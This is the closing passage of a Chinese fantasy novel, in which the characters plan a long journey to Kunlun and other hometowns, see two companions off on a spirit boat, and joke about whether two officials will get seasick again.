“先北上,途经朝安,再往昆仑进,估计会在最冷的时候抵达昆仑。在昆仑过完冬,南下去鹧鸪山,之后乘船去盈川,最后到翠屏山,要是路途顺利,大概还能在回来前去一趟江县。”章存舒对路线规划得很细致,几句话说完安排。 途经的地点还恰好都是几人的家乡,或是曾经有些交集的地方。 这样一想,关云铮步子都变得轻快起来:“真好,我已经开始期待了。” 楚悯三人正从柳卿知那边走来,四人在山门处会合,站在一起目送着苍韫桢和柳卿知登上灵舟。 “你说这次陆大人和沈大人还会晕吗?”叶泯问道。 站在他身侧的谭一筠摇了摇头:“恐怕还是会感到不适。” “那可怎么办?”楚悯一脸忧虑。 关云铮搭上她的肩膀:“那就不是我们该操心的事咯。” ……正文完……《 》